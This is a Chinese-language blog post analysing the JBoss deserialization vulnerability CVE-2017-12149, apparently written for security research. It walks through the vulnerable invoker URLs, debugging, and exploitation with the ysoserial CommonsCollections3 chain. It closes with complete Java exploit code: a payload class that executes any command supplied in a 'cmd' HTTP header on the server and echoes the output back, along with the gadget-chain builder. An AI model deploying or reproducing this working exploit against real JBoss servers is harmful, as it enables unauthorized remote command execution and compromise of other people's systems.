vlambda博客
学习文章列表

JBoss反序列化漏洞(CVE-2017-12149)分析

JBOSS Application Server是一个基于J2EE的开放源代码的应用服务器。JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用,2006年,JBoss被Redhat公司收购,现在已经改名为WildFly了。

JBoss反序列化漏洞(CVE-2017-12149)是很久以前就有的漏洞了,要去挖掘一个应用的漏洞,那就必须对已公开的漏洞进行研究,打好基础,熟悉应用情况,本文从环境搭建、漏洞复现、漏洞调试、漏洞利用等方面展开分析。漏洞影响版本为:Jboss 5.x、Jboss 6.x。

本文仅做技术交流,切勿用于非法用途,否则后果字符,转载请注明出处,谢谢!


0x01 调试环境


打开Jboss安装目录下的bin目录,找到run.bat文件,有如下配置

rem set JAVA_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,address=8787,server=y,suspend=y %JAVA_OPTS%
run.bat -b 0.0.0.0

JBoss启动画面如下, 启动后监听8787(调试端口)1090(rmi端口)8080(web端口)8009(ajp端口)

JBoss反序列化漏洞(CVE-2017-12149)分析


0x02 漏洞入口

JBoss启动后默认会部署几个应用APP,CVE-2017-12149漏洞为其中一个APP,漏洞触发点为url:/invoker/JMXInvokerServlet,在分析的过程中,发现url:/invoker/readonly/JMXInvokerServlet也存在返序列化问题,关联应用位置为jboss-6.1.0.Final\server\default\deploy\http-invoker.sar,拷贝该目录到IDEA中方便进行调试,同时把WEB-INF/classes 下的class文件打包为jar,加入idea项目依赖库

JBoss反序列化漏洞(CVE-2017-12149)分析查看web.xml文件,不难看出漏洞触发点是在org.jboss.invocation.http.servlet.InvokerServlet类,

JBoss反序列化漏洞(CVE-2017-12149)分析

其实还有多个触发漏洞的url,如

/invoker/JMXInvokerServlet/*/invoker/readonly/JMXInvokerServlet/*/invoker/restricted/JMXInvokerServlet/* 需要授权验证


0x03 漏洞分析

查看InvokerServlet类的源码,post请求和get请求都是调用processRequest方法进行处理,查看该方法可知漏洞触发点,直接从请求的流中反序列化对象。

JBoss反序列化漏洞(CVE-2017-12149)分析

其实漏洞很浅,直接在该处下断点吧,Java反序列化漏洞需要利用链,涉及到JBoss的依赖包,查看jboss-6.1.0.Final目录下lib中.jar文件,依赖了commons-collections和commons-beanutils,因此可以尝试使用ysoserial项目中的beanutils和collections利用链进行测试。

JBoss反序列化漏洞(CVE-2017-12149)分析

新建一个IDEA项目,拷贝ysoserial中的利用链CommonsCollections3,同时通过http协议发送payload到JBoss服务器,可以看到,意见弹出计算器,

JBoss反序列化漏洞(CVE-2017-12149)分析

同时可以在IDEA中查看到漏洞触发的调用栈

JBoss反序列化漏洞(CVE-2017-12149)分析

我在测试该漏洞的时候发现还有另外一个利用点,url为/invoker/readonly/JMXInvokerServlet
回到web.xml发现readonly开头的URL会被org.jboss.invocation.http.servlet.ReadOnlyAccessFilter过滤器拦

JBoss反序列化漏洞(CVE-2017-12149)分析

查看ReadOnlyAccessFilter类的doFilter,没有认证的时候会去做反序列化操作,触发漏洞。

JBoss反序列化漏洞(CVE-2017-12149)分析


0x04 漏洞回显利用

漏洞方便进行测试,最好是能够回显利用,Java反序列化漏洞的回显利用都与web容器相关连,不同的web容器,有不同的利用方式,但是基本上原理一致,都是要拿到response对象。

Tomcat、Weblogic等等回显大佬都写了,可以去百度以下,关于JBoss也一样,不外乎也就是通过执行代码获取到当前线程的response对象,调用其方法返回命令执行结果,可以在漏洞触发点的调用栈中往前去找那里可以拿到response对象,不难发现org.jboss.web.tomcat.service.request.ActiveRequestResponseCacheValve类在调用相关方法的时候把response对象放到了线程中。

JBoss反序列化漏洞(CVE-2017-12149)分析

而且可以直接通过静态属性拿到这个对象,配合ysoserial中的CommonsCollections3利用链,在反序列化的时候加载AbstractTranslet利用代码的字节数组为类,并执行利用类中的代码,执行命令获取response对象输入命令执行结果。

JBoss反序列化漏洞(CVE-2017-12149)分析

burpsuit抓包,重放可以看到已经回显。


当然也可以通过py来实现,在java利用代码中从request中获取需要执行的命令参数,然后通过java代码把post的字节数组转换为base64,然后复制到py中,通过py解码post过去即可。


0x05 总结

发现漏洞最好的方法就是要站在大佬们的肩膀上,把大佬们发现的漏洞吃透,当然这个漏洞现在看了是很弱智了,JBoss默认还自动部署了多个应用,启了多个端口,可以在仔细去看下,掌握流程、实现原理才能更好的挖到0day。


代码参考

package superman.payload;
import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import org.apache.catalina.connector.Request;import org.apache.catalina.connector.Response;import org.jboss.web.tomcat.service.request.ActiveRequestResponseCacheValve;
import javax.servlet.ServletOutputStream;import java.io.*;

public class Echo extends AbstractTranslet { static { try { Request request=ActiveRequestResponseCacheValve.activeRequest.get(); String cmd=request.getHeader("cmd"); if(cmd==null){ cmd="whoami"; } String name=System.getProperty("os.name"); String[] cmds =name!=null&&name.toLowerCase().contains("win") ? new String[]{"cmd.exe", "/c", cmd}:new String[]{"sh", "-c", cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); byte[] buf=new byte[1024]; int len=0; ByteArrayOutputStream out=new ByteArrayOutputStream(); while ((len=in.read(buf))!=-1){ out.write(buf,0,len); } Response response=ActiveRequestResponseCacheValve.activeResponse.get(); ServletOutputStream sos = response.getOutputStream(); sos.write(out.toByteArray()); sos.flush(); sos.close(); } catch (IOException e) { e.printStackTrace(); } }
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}}


package superman.payload;
import java.lang.reflect.InvocationHandler;import java.util.HashMap;import java.util.Map;
import javax.xml.transform.Templates;
import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InstantiateTransformer;import org.apache.commons.collections.map.LazyMap;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import superman.util.Gadgets;import superman.util.Reflections;

public class CommonsCollections3{
public static Object getObject(Class c) throws Exception { Object templatesImpl = Gadgets.createTemplatesImpl(c);
// inert chain for setup final Transformer transformerChain = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(1) }); // real chain for after setup final Transformer[] transformers = new Transformer[] { new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer( new Class[] { Templates.class }, new Object[] { templatesImpl } )};
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
return handler; }
}